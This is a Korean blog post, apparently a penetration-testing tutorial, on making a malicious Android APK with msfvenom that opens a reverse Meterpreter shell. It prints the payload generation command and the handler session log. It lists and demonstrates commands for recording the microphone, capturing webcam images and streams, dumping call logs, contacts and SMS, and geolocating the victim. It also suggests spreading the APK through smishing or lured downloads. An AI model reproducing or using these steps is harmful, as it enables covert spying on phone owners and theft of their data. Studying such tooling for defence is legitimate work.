[METASPLOIT] MSFVENOM을 이용한 Android 침투 및 Meterpreter Shell 사용

metasploit 은 공격을 위한 도구 중 정말 유용하고 Custom 하기에도 좋은 툴입니다.
대체로 linux, unix, windows 시스템에 대해 테스트를 하고 shell 을 삽입 했었는데, Android 에서 작동하는 Meterpreter shell 은 어떨까? 라는 생각이 들어 해보았습니다.

일단 간단하게 msfvenom을 이용하여 악성 apk 파일을 생성합니다. venom을 통해 생성한 악성파일은 인코딩 과정없이 Payload를 그대로 APK로 만들었기 때문에 백신에는 거의 100퍼 탐지되겠죠..

아무튼 APK를 생성합니다.

MSFVENOM을 이용한 Android remote shell apk 생성


# hvenom -p android/meterpreter/reverse_tcp LHOST=***.***.***.*** LPORT=4444 R > test_shell.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 8199 bytes

생성한 APK를 Android Device 에 설치합니다. 설치 과정은 알아서..
Exploit 을 하셔도 좋고, 스미싱이나 다운로드 유도를 통해 설치해도 좋습니다.
(테스트 환경에서만 하세요. 실제로 하면 쇠고랑차요)

배포 전 metasploit 에서는 handler 를 통해 대기모드로 전환시킵니다.
불론 bind shell 을 사용하셨다면 상관없지요.

hahwul #> use exploit/multi/handler

세팅하실 거 세팅하시고..

hahwul exploit(handler) #> run

[-] Handler failed to bind to ***.***.***.***:4444
[*] Started reverse handler on 0.0.0.0:4444
[*] Starting the payload handler...
[*] Sending stage (50643 bytes) to ***.***.***.***
[*] Meterpreter session 1 opened (***.***.***.***:4444 -> ***.***.***.***:51788) at 2015-08-03 15:39:50 +0900

대기 전환합니다. 그리고 Android Devices 에서 접근 시 Remote Shell 로 연결됩니다.
대충 정보 확인 후 명령 알아보겠습니다.

meterpreter > pwd
/data/data/com.metasploit.stage
meterpreter > sysinfo
Computer    : localhost
OS          : Android 5.0.1 - Linux 3.10.40-4192068 (armv7l)
Meterpreter : java/android

Metepreter Shell (Android) Command


Metepreter shell(Android) 특수 명령입니다.
기본적인 metepreter shell 명령 및 시스템 명령 말고도 android 에 특화된 명령 사용이 가능합니다. 주로 흥미를 가질 명령을 보면 Webcam , 녹음 및 정보 탈취 명령에 대해서 보겠습니다.

Android Command
Stdapi: Webcam Commands
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
     + record_mic는 지정한 시간동안 휴대폰 마이크를 통해 주변 소리를 녹음합니다.
    webcam_chat    Start a video chat
     + 확인해보지 않아서 잘은 모르겠어요.. video chat을 시작합니다.
    webcam_list    List webcams
     + webcam 리스트를 확인합니다.
    webcam_snap    Take a snapshot from the specified webcam
     + 카메라를 통해 캡쳐를 한 후 공격자에게 전달합니다.
    webcam_stream  Play a video stream from the specified webcam
     + 카메라를 통해 연속적인 스트림(영상)으로 공격자에게 전달합니다(html 형식으로 떨어짐)

Android Commands
================

    Command        Description
    -------        -----------
    check_root     Check if device is rooted
     + Rooting 여부를 확인합니다. 정확하지 않을때가 있어요.
    dump_calllog   Get call log
     + 전화 송/수신 로그를 덤프합니다. 공격자 PC로 바로 떨어집니다.
    dump_contacts  Get contacts list
     + 전화번호후 리스트를 덤프합니다. 공격자 PC로 바로 떨어집니다.
    dump_sms       Get sms messages
     + SMS 문자 내역을 덤프합니다. 공격자 PC로 바로 떨어집니다.
    geolocate      Get current lat-long using geolocation
     + Target Android Devices 의 위치정보(위도,경도) 및 google map 주소를 제공합니다.

기능 사용 시 아래와 같습니다.

meterpreter > dump_calllog
[*] Fetching 13 entries
[*] Call log saved to calllog_dump_20150803154416.txt
meterpreter > dump_contacts
[*] Fetching 1 contact into list
[*] Contacts list saved to: contacts_dump_20150803154419.txt
meterpreter > geolocate
[*] Current Location:
Latitude:  위치정보..
Longitude: 위치정보..